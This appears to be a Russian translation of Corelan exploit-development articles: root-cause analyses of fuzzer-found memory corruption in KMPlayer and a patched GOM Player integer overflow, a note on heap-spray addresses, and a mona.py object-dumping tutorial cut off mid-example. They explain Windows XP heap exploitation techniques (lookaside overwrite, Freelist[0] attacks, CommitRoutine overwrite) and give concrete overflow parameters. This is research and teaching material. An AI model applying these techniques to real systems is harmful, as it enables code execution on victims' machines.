После серии тестов в XP SP3 с IE8, Windows 7 с IE9 и IE10 и Windows 8 с IE10, включая системы с EMET и защитой от распыления кучи, мы обнаружили, что `0x0c0d0228` является надёжным адресом назначения для распыления или ROP-цепочки при `0x350` и более итерациях.

Обновлённая и улучшенная версия распыления DEPS также была принята в Metasploit Framework: New heap spray technique for Metasploit browser exploitation.

Анализ первопричины — уязвимости повреждения памяти

Jason Kratzer, 2013-02-26

Введение

В этой статье рассматривается реальная ошибка повреждения памяти: от сбоя, обнаруженного фаззером, через минимизацию тестового примера и обратную разработку до установления первопричины и анализа возможности эксплуатации.

Целью служит исправленная версия KMPlayer. Задача состоит не в том, чтобы превратить каждый сбой в перезапись `EIP`, а в том, чтобы точно понять, какой примитив предоставляет ошибка и какие действия программы могут позволить преобразовать этот примитив в управление потоком выполнения.

Сбой

Некорректный медиафайл был создан с помощью Peach. При его открытии под отладчиком возникает нарушение доступа, однако ни в одном из регистров общего назначения сразу не обнаруживается очевидного значения циклического шаблона, а `EIP` напрямую не контролируется.

В первую очередь полезно сохранить:

• Точный образец, вызывающий сбой, и исходный начальный файл.
• Код исключения и инструкцию, на которой произошёл сбой.
• Состояние регистров и стека.
• Версии загруженных модулей.
• Журнал мутаций фаззера.
• Конфигурацию проверки кучи.
• Полную трассировку отладчика.

Анализ данных о сбое

Отладчик сообщает о недопустимом обращении к памяти в модуле приложения. Команда `!exploitable` даёт первоначальную классификацию, но её результат — лишь ориентир для сортировки.

Начните с буквального прочтения инструкции, на которой произошёл сбой:

```
mov destination,source
```

Определите, какая сторона недопустима, как вычисляется эффективный адрес и можно ли повлиять через файл на каждый регистр, участвующий в этом вычислении.

Используйте такие команды:

```
.exr -1
```

```
.ecxr
r
u @eip-20 @eip+30
kv
!address <fault-address>
```

Затем сравните изменённый файл с исходным. Фаззер мог изменить множество полей, хотя для сбоя достаточно всего одной мутации.

Определение причины исключения

Поочерёдно отменяйте мутации, сохраняйте новый образец и снова запускайте целевое приложение. Продолжайте, пока не останется минимальный файл, вызывающий сбой.

Минимизированные байты относятся к конкретному полю медиаконтейнера. Сопоставьте их со спецификацией формата, а не рассматривайте просто как безымянное смещение. Объявленный размер поля, количество элементов или индекс часто объясняют, почему синтаксический анализатор доходит до ошибочной операции.

Установите точку останова перед сбоем и пройдите назад по базовому блоку. Зафиксируйте происхождение каждого операнда и установите точки останова по данным на важные указатели.

Обратная разработка ошибочной функции

Откройте содержащий функцию модуль в IDA и найдите адрес времени выполнения: вычтите базовый адрес модуля, чтобы получить RVA. Найдите перекрёстные ссылки на ошибочный блок, определите содержащую его функцию и по мере появления сведений из отладчика снабжайте входные данные пояснениями.

Статический анализ показывает возможные ветви и циклы, но только состояние времени выполнения объясняет, какой путь был выбран. Сопоставьте инструкции с фактическими значениями по соответствующим адресам в WinDbg.

Синтаксический анализатор читает контролируемые атакующим метаданные, вычисляет указатель или индекс и в конечном счёте разыменовывает его. Проследите значение в обратном направлении:

1. Найдите инструкцию, которая последней записывает значение в регистр, вызвавший сбой.
2. Проследите копирования, арифметические операции и обращения к таблицам.
3. Отметьте значения, поступившие из файла.
4. Отметьте значения, полученные из выделенных объектов.
5. Определите, происходит ли повреждение до заключительного сбоя.

Важный вывод состоит в том, что исходное повреждение необязательно происходит в инструкции, вызывающей сбой. Некорректный файл может повредить состояние объекта раньше; выполнение

продолжится, пока один из последующих методов не воспользуется испорченным указателем.

Определение возможности эксплуатации

Опишите первопричину через явные примитивы:

• Какие байты можно контролировать?
• Контролируется ли адрес назначения полностью, частично или вычисляется из объекта?
• Сколько байтов можно записать или прочитать?
• Повторяется ли повреждение?
• Какие объекты могут оказаться в соседней или повторно используемой области памяти?
• Какие последующие виртуальные вызовы, обратные вызовы, освобождения или копирования используют повреждённые поля?

В статье рассматриваются три общих пути: перезапись указателя на функцию, эксплуатация состояния гонки и формирование кучи вокруг уязвимого объекта.

Перезапись указателей на функции

Ищите в доступных для записи модулях и объектах кучи указатели, по которым выполняется вызов после повреждения. Полезными кандидатами могут быть:

• Указатели на таблицы виртуальных функций C++.
• Поля обратных вызовов.
• Указатели на функции в объектах синтаксического анализатора.
• Таблицы импорта или диспетчеризации, хранящиеся в доступной для записи памяти.
• Указатели на объекты, которые позднее используются для косвенного вызова.

Установите точки останова на косвенные вызовы и аппаратные точки наблюдения на поля-кандидаты.

```
ba w4 <candidate-field>
bp <indirect-call> ".printf \"target=%p\\n\", <expression>; r; kv"
```

Подготовка кучи для целевого объекта

Если повреждённый указатель естественным образом не оказывается рядом, повлияйте на порядок выделения памяти так, чтобы объект с подходящим обратным вызовом занял уязвимый или соседний блок.

Отслеживайте размеры выделений и стеки вызовов. Освободите выбранные объекты, а затем инициируйте выделения того же размера, чтобы распределитель повторно использовал освободившиеся участки.

Само по себе наличие достижимого указателя на функцию не доказывает надёжность эксплуатации. Повторите полную последовательность в новых процессах, учтите шум распределителя и проверьте такие механизмы защиты, как DEP и ASLR.

Состояние гонки

Синтаксический анализатор использует данные, к которым могут обращаться несколько потоков. Гонка может расширить окно эксплуатации либо привести к освобождению и замене объекта между проверкой и использованием.

Для исследования:

1. Определите все потоки, входящие в соответствующие функции.
2. Установите точки останова на выделение, освобождение и использование объекта.
3. Записывайте идентификаторы потоков и временные метки.
4. Приостанавливайте один поток в контролируемых точках.
5. Определите, может ли другой поток освободить или заменить объект.

При сравнении с путём, в котором возникает гонка, по-прежнему важно ранее рассмотренное состояние сбоя:

Зависящий от времени сбой не означает автоматически, что гонка предоставляет полезный примитив. Эксплойт должен обеспечивать воспроизводимую замену объекта и размещение контролируемых данных по устаревшему адресу до его использования.

Переполнение кучи? Не совсем

На первый взгляд кажется, что память после объекта кучи перезаписывается. Подробная трассировка показывает более сложный примитив, связанный с временем жизни объекта, арифметикой указателей и поведением синтаксического анализатора, а не с простым последовательным копированием за пределы блока фиксированного размера.

Вернитесь к рассмотренному ранее состоянию объекта и сравните естественную структуру кучи при отключённой страничной куче:

Это различие существенно. Эксплуатацию следует направлять на фактическое поле объекта и его последующее использование, а не на абстрактные метаданные кучи лишь потому, что память объекта выделена в куче.

Практический процесс анализа первопричины

Полная методика выглядит так:

1. Сохраните результаты фаззинга и точное состояние окружения.

2. Воспроизведите сбой под отладчиком.
3. Классифицируйте ошибочную операцию, не предполагая, что именно она является первопричиной.
4. Минимизируйте тестовый пример.
5. Сопоставьте изменённые байты с форматом файла.
6. Сопоставьте адреса времени выполнения со статическим дизассемблированным кодом.
7. Проследите операнды ошибочной инструкции назад до входных данных и состояния объекта.
8. Найдите самый ранний недопустимый переход состояния.
9. Представьте ошибку в виде примитивов чтения, записи, времени жизни или управления.
10. Составьте перечень последующих случаев использования повреждённого состояния.
11. Оцените ограничения, связанные с размещением в куче, временем выполнения и механизмами защиты.
12. Проводите небольшие эксперименты, каждый из которых проверяет одно предположение.

Заключение

Сбой не позволяет сразу перезаписать сохранённый адрес возврата. Тем не менее контролируемые данные файла влияют на состояние объекта и при определённой организации кучи или выборе момента могут достигать критически важных указателей.

Главный урок — различать место сбоя, место повреждения и место эксплуатации:

```
malformed input
    -> incorrect parser state
    -> object or pointer corruption
    -> later indirect use
    -> access violation or control-flow opportunity
```

Автоматическая оценка возможности эксплуатации полезна для сортировки сбоев, но только анализ первопричины способен установить, что в действительности позволяет сделать уязвимость.

Анализ первопричины — целочисленные переполнения

Jason Kratzer, 2013-07-02

Предисловие

Участник команды Corelan Джейсон Кратцер представляет практическое исследование, которое начинается с данных о сбое от фаззера, продолжается минимизацией вызывающего сбой файла и обратной разработкой ошибочного кода, а завершается обнаружением целочисленного переполнения и оценкой нескольких стратегий эксплуатации кучи Windows XP.

Рассматриваемые техники носят исторический характер, но метод анализа остаётся полезным: даже сбой, не позволяющий немедленно управлять `EIP`, может раскрыть мощный примитив повреждения памяти.

Введение

Целевое приложение — GOM Media Player 2.1.43. О проблеме сообщили GOM Labs 19 ноября 2012 года, а 12 декабря 2012 года она была исправлена.

Уязвимость обнаружена фаззингом файлов MP4/QuickTime с помощью Peach 2.3.9. Минимизированный PIT-файл Peach нацелен на уязвимую область формата файла.

Анализ данных о сбое

Peach регистрирует нарушение доступа при записи в цикле, эквивалентном следующему:

```
mov dword ptr [ecx+eax*4],edx
```

Вычисленный адрес назначения указывает на недоступную память. Символов нет, поэтому одна лишь трассировка стека не раскрывает первопричину. Команда Microsoft `!exploitable` классифицирует сбой как потенциально эксплуатируемый, поскольку это выходящая за границы запись вдали от нулевого адреса.

Такая классификация — гипотеза, а не доказательство. Нам всё ещё нужно ответить на вопросы:

• От чего зависит размер выделения?
• От чего зависит количество операций записи?
• Контролируются ли копируемые данные?
• Можно ли предсказуемо повредить соседние данные или метаданные кучи?
• Может ли полученное повреждение достичь цели, управляющей потоком выполнения?

Определение причины исключения

Страничная куча

Конфигурация Peach включает страничную кучу через GFlags. Страничная куча добавляет перед выделениями структуру `_DPH_BLOCK_INFORMATION`, включая трассировку пользовательского стека, которая показывает цепочку вызовов выделения.

Стандартная страничная куча добавляет шаблоны заполнения и обнаруживает повреждение, когда диспетчер кучи позднее проверяет фрагмент. Полная страничная куча помещает выделение в конец страницы, за которой следует защитная страница `PAGE_NOACCESS`, поэтому первый выход за границы сразу вызывает сбой.

```
gflags.exe /p /enable GOM.exe /full
```

Для изучения стандартных метаданных и метаданных страничной кучи используйте:

```
dt _HEAP_ENTRY <chunk-header>
dt _DPH_BLOCK_INFORMATION <start-stamp>
!heap -p -a <address-in-chunk>
```

Полная страничная куча значительно изменяет размещение памяти. Используйте её, чтобы поймать первое недопустимое обращение, а затем повторите исследование со стандартной страничной кучей для анализа реалистичного соседства.

Первоначальный анализ

Сравните исходный и изменённый файлы в двоичном редакторе. Поочерёдно отменяйте мутации и повторяйте проверку, пока не останется минимальное изменение.

Достаточно одной четырёхбайтовой мутации по смещению файла `0x131f`. Она находится в атоме `stsz`, который определяется по строке FourCC `stsz`.

Атом размеров образцов содержит:

```
size
type = "stsz"
version and flags
sample size
number of entries
sample-size table
```

Исходное значение `Number of Entries` равно `0x3b`, а изменённое — `0x80000027`.

Обратная разработка ошибочной функции

Первая часть цикла читает 32-разрядное значение из файла и меняет порядок байтов, фактически преобразуя данные атома из big-endian в используемый системой порядок little-endian.

Упрощённое поведение:

```
while (source != source_end && remaining > 4) {
    value = byteswap32(*source++);
    *destination++ = value;
}
```

Установите точки останова на оба условия выхода из цикла и на инструкцию записи. Регистрируйте источник, назначение, копируемое значение и счётчики.

Цикл выполняет 0x29 операций записи, прежде чем достигает защитной страницы полной страничной кучи. Записываемые данные поступают из файла и контролируются. Однако полезный размер фрагмента назначения составляет всего `0x9c` байт.

Переключитесь на стандартную страничную кучу и изучите назначение:

```
!heap -p -a 0x06209dc0
dt _DPH_BLOCK_INFORMATION 0x06209da0
```

Трассировка стека выделения приводит к внутренней реализации `calloc`, а затем к `RtlAllocateHeap`.

`calloc` получает из `stsz.NumberOfEntries` количество элементов и размер элемента, равный четырём:

```
allocation_size = number_of_entries * sizeof(uint32_t);
```

Уязвимое умножение фактически выглядит так:

```
imul esi,dword ptr [entry_count],4
push esi
call internal_calloc
```

Математически:

```
0x80000027 * 4 = 0x20000009c
```

В регистр помещаются только младшие 32 бита:

```
0x20000009c -> 0x0000009c
```

Приложение выделяет 156 байт, но затем обрабатывает количество элементов так, словно существует полная таблица, что приводит к контролируемому переполнению кучи.

Определение возможности эксплуатации

Примитив обладает полезными свойствами:

• На размер выделенного фрагмента влияет переполненное умножение.
• Копируемые двойные слова поступают из файла.
• На число операций записи влияют количество элементов и структура атома.
• При отключённой страничной куче после выделения могут находиться метаданные другого фрагмента или объекты приложения.

Сложности:

• Переполнение происходит в частной куче с изменяющимся базовым адресом.
• Анализатор выполняет несколько выделений и освобождений вокруг уязвимого копирования.
• На размещение влияют списки lookaside и списки свободных областей Windows XP.
• Проверки безопасного исключения из списка ограничивают традиционные атаки на двусвязные списки.
• Повреждение слишком большого объёма состояния кучи приводит к сбою до вызова полезного указателя.

Предварительные требования

Воспроизведите уязвимый процесс точно в том окружении Windows XP, которое используется для анализа. Отключите страничную кучу при оценке естественного размещения, но сохраните её журналы для определения цепочек вызовов выделений.

Отслеживайте каждое выделение и освобождение между входом в функцию, переполнением и следующим контролируемым действием анализатора. Эксплуатация кучи зависит от её состояния во времени, а не только от статичного снимка при сбое.

Основы кучи

Выделенный фрагмент кучи XP начинается с восьмибайтового заголовка `_HEAP_ENTRY`. Свободные фрагменты повторно используют пользовательские данные для указателей связного списка.

```
allocated chunk:
[Size][PrevSize][flags...][user data]

free chunk:
[header][Flink][Blink][remaining data]
```

Небольшие свободные фрагменты могут помещаться в список lookaside (LAL) — односвязный кэш. Более крупные фрагменты хранятся в списках свободных областей для конкретных размеров или в общем списке `Freelist[0]`, упорядоченном по размеру.

В основании кучи находятся 128 заголовков списков свободных областей. В пустом списке и `Flink`, и `Blink` указывают на сам заголовок.

Предупредительные меры защиты

К механизмам защиты кучи Windows XP, важным для статьи, относятся:

• Cookie заголовков или закодированные метаданные в соответствующих версиях.
• Проверка безопасного исключения двусвязных свободных фрагментов из списка.
• Поведение списков lookaside, не использующее тот же путь исключения.
• Сообщения о повреждении кучи.

Безопасное исключение проверяет, что указатели соседних элементов списка ссылаются обратно на удаляемый фрагмент. Это предотвращает прямолинейную произвольную запись, но не устраняет все способы повлиять на адрес, возвращаемый при выделении.

Эксплуатация с учётом приложения

Сначала отобразите последовательность выделений и освобождений анализатора GOM. Изменяйте размеры соседних атомов, чтобы позднейшее выделение повторно использовало освобождённый фрагмент нужного размера, а переполнение `stsz` повреждало выбранный соседний фрагмент.

Формат файла предоставляет несколько полезных средств управления:

• `stsz.NumberOfEntries` влияет на переполненный размер выделения и число копирований.

• Таблица размеров образцов `stsz` предоставляет данные переполнения.
• Длины других атомов влияют на размеры последующих выделений.
• Таблица смещений фрагментов `stco` предоставляет контролируемые данные для более позднего выделения.

Объект или указатель, относящийся к приложению, предпочтительнее общих метаданных кучи, если можно надёжно управлять временем его жизни и вызовом.

Универсальные методы эксплуатации

Перезапись списка lookaside

Свободный небольшой фрагмент хранит указатель на следующий элемент в первом пользовательском двойном слове. Если соседнее переполнение заменит этот указатель, последующие выделения того же размера могут вернуть выбранный атакующим адрес.

Выбранный адрес должен соответствовать требованиям выравнивания, доступности для записи и проверкам распределителя. Кроме того, последовательность должна содержать правильное число промежуточных выделений, чтобы повреждённая запись в нужный момент достигла начала LAL.

Концептуально:

```
before overflow:
LAL[n] -> chunk A -> chunk B

after overflow:
LAL[n] -> chunk A -> attacker_pointer

alloc #1 returns chunk A
alloc #2 returns attacker_pointer
```

Это может превратить следующую контролируемую запись анализатора в произвольную или частично произвольную запись.

Атаки на Freelist[0]

Атака при вставке

Атака при вставке в Freelist[0] повреждает метаданные свободного фрагмента так, чтобы операция вставки или исключения записала указатели под влиянием атакующего. Техника ограничивается безопасным исключением и требует точного состояния кучи.

В ходе анализа отслеживается:

1. Какой соседний фрагмент освобождается.
2. Его размер и принадлежность списку.
3. Какие поля достигаются переполнением.
4. Какая последующая операция вставляет, удаляет или объединяет его.
5. Проходит ли проверка списка до выполнения целевой записи.

Атака при поиске в Freelist[0]

Атака при поиске изменяет `Flink` первого фрагмента, чтобы обход дошёл до поддельного, но структурно правдоподобного фрагмента. Если поддельный фрагмент сообщает достаточный размер, диспетчер кучи может вернуть указатель внутрь выбранной атакующим доступной для записи области.

Заголовок пустого списка свободных областей в структуре `_HEAP` удобен тем, что содержит доступные для чтения самоссылочные указатели `Flink` и `Blink` и может выглядеть как допустимый свободный фрагмент.

Например, если интерпретировать заголовок списка свободных областей возле `0x00160180` как поддельный фрагмент, получится пользовательский указатель `0x00160188`. Если видимый размер фрагмента равен `0xc00`, запросите `0xbf8` байт с учётом восьмибайтового заголовка.

Распределитель:

1. Обнаруживает, что настоящий первый фрагмент слишком мал.
2. Переходит по повреждённому `Flink` к поддельному фрагменту.
3. Читает поддельный размер.
4. Исключает элемент или сообщает о повреждении.
5. В Windows XP всё же может вернуть выбранный указатель.

После этого контролируемое выделение `stco` может записать данные через возвращённый указатель и достичь такой цели, как указатель `CommitRoutine` в куче.

Нацеливание на CommitRoutine

`CommitRoutine` находится в основании кучи и вызывается, когда кучу необходимо расширить. Цель атаки:

• Вернуть указатель перед `CommitRoutine`.
• Записать достаточно контролируемых байтов, чтобы заменить его.
• Вызвать выделение, превышающее доступное зафиксированное пространство.
• Перенаправить выполнение через перезаписанный указатель.

Для показанной частной кучи эксплойт использует:

```
stsz entry count = 0x8000000a
wrapped allocation = 0x28 bytes
actual sample table = 0x34 bytes
overflow length = 0x0c bytes
```

Переполнение перезаписывает заголовок и `Flink` следующего фрагмента. Размер предшествующего атома `stsz` корректируется так, чтобы неизбежное выделение `0x48` повторно использовало намеренно освобождённую запись LAL и не нарушало целевой список.

Затем размер атома `stco` подбирается под поддельный фрагмент, а таблица смещений его фрагментов предоставляет данные, записываемые поверх структуры основания кучи.

Доступные для записи указатели на функции как поддельные фрагменты

Нацеливание на основание частной кучи ненадёжно, поскольку его адрес меняется. Другая идея — найти доступные для записи указатели на функции, перед и после которых находятся байты,

похожие на допустимый свободный фрагмент.

Историческая функция Mona `fwptr` умеет фильтровать кандидатов по размеру поддельного фрагмента, смещению до указателя на функцию и пригодности для списка свободных областей:

```
!mona fwptr -freelist
!mona fwptr -freelist -chunksize 0x358
!mona fwptr -freelist -offset 0xc
```

Многие результаты непригодны. Видимый поддельный размер, превышающий самый крупный элемент Freelist[0], может вызвать `RtlExtendHeap` после повреждения списка, что приведёт к раннему нарушению доступа. Указатель также может успешно перезаписаться, но не быть вызванным до сбоя обработки кучи.

Поведение безопасного исключения в XP

При неудачной проверке безопасного исключения Windows XP сообщает о повреждении через `RtlReportHeapCorruption`, однако может продолжить путь выделения и вернуть выбранный указатель. Vista и более новые версии завершают процесс, поэтому это поведение относится к конкретной платформе и не должно обобщаться.

Ограничения демонстрации концепции

В статье намеренно не заявляется о надёжном выполнении кода:

• Базовый адрес частной кучи нестабилен.
• Запись от выбранного поддельного фрагмента уничтожает значительную часть `_HEAP`.
• Для последующих выделений требуется восстановить повреждённые поля кучи.
• Следующее выделение, необходимое для вызова `CommitRoutine`, контролируется не полностью.
• Проверенные доступные для записи указатели на функции не вызывались до очередного сбоя диспетчера кучи.
• Многие кандидаты Mona имеют невозможные или разрушительные поддельные размеры.

PoC демонстрирует запись произвольной длины, начинающуюся с выбранных доступных для записи адресов, и показывает возможность перезаписи указателя в основании кучи. Оставшиеся инженерные проблемы не скрываются.

Заключение

Первопричина — 32-разрядное целочисленное переполнение при вычислении размера выделения:

```
untrusted element count * 4 -> truncated 32-bit allocation
full element count          -> copy loop length
```

Несоответствие создаёт контролируемое переполнение кучи. Возможность эксплуатации не следует автоматически из результата `!exploitable`; она устанавливается через понимание состояния распределителя, соседних объектов, последующих выделений, поведения списков и достижимых целей управления потоком выполнения.

Главный урок: существует множество путей к управлению выполнением. Начинайте с минимального входного файла, вызывающего сбой, прослеживайте значения назад до полей формата, определяйте точный примитив работы с памятью и только затем оценивайте стратегии

эксплуатации с учётом реального состояния процесса.

Рекомендуемая литература

• Alexander Anisimov, *Defeating Microsoft Windows XP SP2 Heap Protection and DEP Bypass*.
• Brett Moore, исследования атак на Freelist[0].
• Ben Hawkes, *Attacking the Vista Heap*.
• Chris Valasek, *Understanding the Low Fragmentation Heap*.
• Предыдущая статья Corelan об анализе первопричины уязвимостей повреждения памяти.

Анализ объектов кучи с помощью mona.py

corelanc0d3r, 2014-08-16

Введение

Всем привет!

Готовясь к курсу Advanced exploit dev на Derbycon, я экспериментировал с примитивами выделения памяти в куче IE. Одна из вещей, вызывающих раздражение — или по крайней мере замедляющих исследование, — это необходимость быстро находить потенциально полезные объекты. Ведь я ищу объекты с произвольными данными или указателями на такие данные, а из-за шума сделать это не всегда легко.

Я решил добавить в mona.py несколько функций для ускоренного поиска интересных объектов. Новые возможности доступны только в WinDbg.

Чтобы получить последнюю версию Mona, выполните `!py mona up`. Поскольку я также перешёл на свежую версию pykd, перед запуском новой Mona, возможно, потребуется обновить `pykd.pyd`. При попытке запустить Mona с устаревшим pykd инструкции по обновлению должны появиться в окне журнала WinDbg.

dumpobj (do)

Первая новая функция — `dumpobj`. Эта команда mona.py выводит содержимое объекта и предоставляет, как я надеюсь, полезные сведения о нём. Команда принимает следующие аргументы:

```
Usage of command 'dumpobj':
---------------------------
Dump the contents of an object.

Arguments:
    -a <address> : Address of object
    -s <number>  : Size of object (default value: 0x28 or size of chunk)
Optional arguments:
    -l <number>  : Recursively dump objects
    -m <number>  : Size for recursive objects (default value: 0x28)
```

Как видно из вывода `!py mona help dumpobj`, нужно передать как минимум два аргумента:

• `-a <address>`: начальная позиция — адрес объекта, хотя можно указать любое место.
• `-s <number>`: размер объекта. Если `-s` не указан, Mona попытается определить размер. Если это невозможно, она выведет `0x28` байт объекта.

Можно также попросить Mona вывести связанные объекты. Аргумент `-l` принимает число уровней рекурсивного дампа. Чтобы ограничить объём вывода и повысить производительность, для связанных объектов выводятся только первые `0x28` байт, если это не переопределено через `-m`.

Разумеется, вывести объект в WinDbg несложно. Команды `dds` и `dc` покажут данные и некоторые сведения. Но иногда этого недостаточно и требуется дополнительная работа для анализа объекта и связанных с ним необязательных объектов.

Рассмотрим пример. Допустим, по адресу `0x023a1bc0` находится объект размером `0x78` байт. Его можно вывести встроенными командами WinDbg:

```
0:001> dds 0x023a1bc0 L 0x78/4
023a1bc0  023a1d30
023a1bc4  023a1818
023a1bc8  00000000
023a1bcc  023a1d3c
023a1bd0  023a1824
023a1bd4  baadf00d
023a1bd8  00020000
023a1bdc  00000001
023a1be0  00160014
023a1be4  023a1a38
023a1be8  013a0138
023a1bec  023a1a68
023a1bf0  00000000
023a1bf4  00000001
023a1bf8  023a18a8
023a1bfc  00000000
023a1c00  00000000
023a1c04  00000007
023a1c08  00000007
023a1c0c  023a18d0
023a1c10  00000000
023a1c14  00000000
023a1c18  00000000
023a1c1c  00000000
023a1c20  00000000
023a1c24  00000000
023a1c28  00000000
023a1c2c  00000000
023a1c30  00000000
023a1c34  00000000

0:001> dc 0x023a1bc0 L 0x78/4
023a1bc0  023a1d30 023a1818 00000000 023a1d3c  0.:...:.....<.:.
023a1bd0  023a1824 baadf00d 00020000 00000001  $.:.............
023a1be0  00160014 023a1a38 013a0138 023a1a68  ....8.:.8.:.h.:.
023a1bf0  00000000 00000001 023a18a8 00000000  .........:.....
023a1c00  00000000 00000007 00000007 023a18d0  ..............:.
023a1c10  00000000 00000000 00000000 00000000  ................
023a1c20  00000000 00000000 00000000 00000000  ................
023a1c30  00000000 00000000                    ........
```

Неплохо. Видны значения, похожие на указатели, нули и другой «мусор». Без отдельной проверки каждого значения трудно понять, что это.

Mona выводит тот же объект и пытается собрать дополнительные сведения о каждом двойном слове:

```
0:001> !py mona do -a 0x023a1bc0
Hold on...
[+] No size specified, checking if address is part of known heap chunk
    Address found in chunk 0x023a1bb8, heap 0x00240000, (user)size 0x78

----------------------------------------------------
[+] Dumping object at 0x023a1bc0, 0x78 bytes

[+] Preparing output file 'dumpobj.txt'
    - (Re)setting logfile c:\logs\HeapAlloc2\dumpobj.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.

>> Object at 0x023a1bc0 (0x78 bytes):
Offset  Address      Contents    Info
------  -------      --------    -----
+00     0x023a1bc0 | 0x023a1d30  (Heap) ptr to ASCII '0::'
+04     0x023a1bc4 | 0x023a1818  (Heap) ptr to ASCII ':'
```

```
+08     0x023a1bc8 | 0x00000000
+0c     0x023a1bcc | 0x023a1d3c  (Heap) ptr to 0x77e46464 : ADVAPI32!g_CodeLevelObjTable+0x4
+10     0x023a1bd0 | 0x023a1824  (Heap) ptr to ASCII ':'
+14     0x023a1bd4 | 0xbaadf00d
+18     0x023a1bd8 | 0x00020000  = UNICODE ' '
+1c     0x023a1bdc | 0x00000001
+20     0x023a1be0 | 0x00160014  = UNICODE ''
+24     0x023a1be4 | 0x023a1a38  (Heap) ptr to UNICODE 'Basic User'
+28     0x023a1be8 | 0x013a0138  (Heap) ptr to ASCII 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+2c     0x023a1bec | 0x023a1a68  (Heap) ptr to UNICODE 'Allows programs to execute as a user that does not have Adminis
+30     0x023a1bf0 | 0x00000000
+34     0x023a1bf4 | 0x00000001
+38     0x023a1bf8 | 0x023a18a8
+3c     0x023a1bfc | 0x00000000
+40     0x023a1c00 | 0x00000000
+44     0x023a1c04 | 0x00000007
+48     0x023a1c08 | 0x00000007
+4c     0x023a1c0c | 0x023a18d0  (Heap) ptr to ASCII ' :H:p:'
+50     0x023a1c10 | 0x00000000
+54     0x023a1c14 | 0x00000000
+58     0x023a1c18 | 0x00000000
+5c     0x023a1c1c | 0x00000000
+60     0x023a1c20 | 0x00000000
+64     0x023a1c24 | 0x00000000
+68     0x023a1c28 | 0x00000000
+6c     0x023a1c2c | 0x00000000
+70     0x023a1c30 | 0x00000000
+74     0x023a1c34 | 0x00000000

[+] This mona.py action took 0:00:00.579000
```

Некоторые значения объекта указывают на ASCII- и Unicode-строки, а ещё один указатель, по-видимому, связывает его с другим объектом (`ADVAPI32!g_CodeLevelObjTable+0x4`). Это гораздо полезнее `dds` или `dc`. Но результат можно улучшить ещё сильнее: попросить Mona автоматически выводить связанные объекты на любую глубину. Повторим команду с одним уровнем:

```
0:001> !py mona do -a 0x023a1bc0 -l 1
Hold on...
[+] No size specified, checking if address is part of known heap chunk
    Address found in chunk 0x023a1bb8, heap 0x00240000, (user)size 0x78

----------------------------------------------------
[+] Dumping object at 0x023a1bc0, 0x78 bytes
[+] Also dumping up to 1 levels deep, max size of nested objects: 0x28 bytes

[+] Preparing output file 'dumpobj.txt'
    - (Re)setting logfile c:\logs\HeapAlloc2\dumpobj.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.

>> Object at 0x023a1bc0 (0x78 bytes):
Offset  Address      Contents    Info
------  -------      --------    -----
+00     0x023a1bc0 | 0x023a1d30  (Heap) ptr to ASCII '0::'
+04     0x023a1bc4 | 0x023a1818  (Heap) ptr to ASCII ':'
+08     0x023a1bc8 | 0x00000000
+0c     0x023a1bcc | 0x023a1d3c  (Heap) ptr to 0x77e46464 : ADVAPI32!g_CodeLevelObjTable+0x4
+10     0x023a1bd0 | 0x023a1824  (Heap) ptr to ASCII ':'
+14     0x023a1bd4 | 0xbaadf00d
+18     0x023a1bd8 | 0x00020000  = UNICODE ' '
+1c     0x023a1bdc | 0x00000001
+20     0x023a1be0 | 0x00160014  = UNICODE ''
+24     0x023a1be4 | 0x023a1a38  (Heap) ptr to UNICODE 'Basic User'
+28     0x023a1be8 | 0x013a0138  (Heap) ptr to ASCII 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+2c     0x023a1bec | 0x023a1a68  (Heap) ptr to UNICODE 'Allows programs to execute as a user that does not have Adminis
+30     0x023a1bf0 | 0x00000000
+34     0x023a1bf4 | 0x00000001
+38     0x023a1bf8 | 0x023a18a8  (Heap) ptr to 0x00000101 :
+3c     0x023a1bfc | 0x00000000
```

```
+40     0x023a1c00 | 0x00000000
+44     0x023a1c04 | 0x00000007
+48     0x023a1c08 | 0x00000007
+4c     0x023a1c0c | 0x023a18d0  (Heap) ptr to ASCII ' :H:p:'
+50     0x023a1c10 | 0x00000000
+54     0x023a1c14 | 0x00000000
+58     0x023a1c18 | 0x00000000
+5c     0x023a1c1c | 0x00000000
+60     0x023a1c20 | 0x00000000
+64     0x023a1c24 | 0x00000000
+68     0x023a1c28 | 0x00000000
+6c     0x023a1c2c | 0x00000000
+70     0x023a1c30 | 0x00000000
+74     0x023a1c34 | 0x00000000

>> Object at 0x023a1d3c (0x28 bytes):
Offset  Address      Contents    Info
------  -------      --------    -----
+00     0x023a1d3c | 0x77e46464  ADVAPI32!g_CodeLevelObjTable+0x4
+04     0x023a1d40 | 0x023a1bcc  (Heap) ptr to ASCII '<:$:'
+08     0x023a1d44 | 0xbaadf00d
+0c     0x023a1d48 | 0x00040000  = UNICODE ' '
+10     0x023a1d4c | 0x00000101
+14     0x023a1d50 | 0x001a0018  = UNICODE ''
+18     0x023a1d54 | 0x023a1c50  (Heap) ptr to UNICODE 'Unrestricted'
+1c     0x023a1d58 | 0x0090008e  (Heap) ptr to ASCII 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+20     0x023a1d5c | 0x023a1c88  (Heap) ptr to UNICODE 'Software access rights are determined by the access rights of t
+24     0x023a1d60 | 0x00000000

>> Object at 0x023a18a8 (0x28 bytes):
Offset  Address      Contents    Info
------  -------      --------    -----
+00     0x023a18a8 | 0x00000101
+04     0x023a18ac | 0x05000000
+08     0x023a18b0 | 0x0000000a
+0c     0x023a18b4 | 0xabababab
+10     0x023a18b8 | 0xabababab
+14     0x023a18bc | 0xfeeefeee
+18     0x023a18c0 | 0x00000000
+1c     0x023a18c4 | 0x00000000
+20     0x023a18c8 | 0x0005000a  = UNICODE ''
+24     0x023a18cc | 0x051807c2

[+] This mona.py action took 0:00:00.640000
```

Как видно, Mona обнаружила ссылки исходного объекта на два связанных объекта и вывела их. Строки ASCII и Unicode не считаются объектами, поскольку Mona уже отображает их даже при ссылке из объекта. Результат `dumpobj` записывается в `dumpobj.txt`.

К сведению: вывод `!mona info -a <address>` включает результат `dumpobj` без рекурсивных объектов. Если нужно понять, что представляет собой адрес, получится примерно следующее:

```
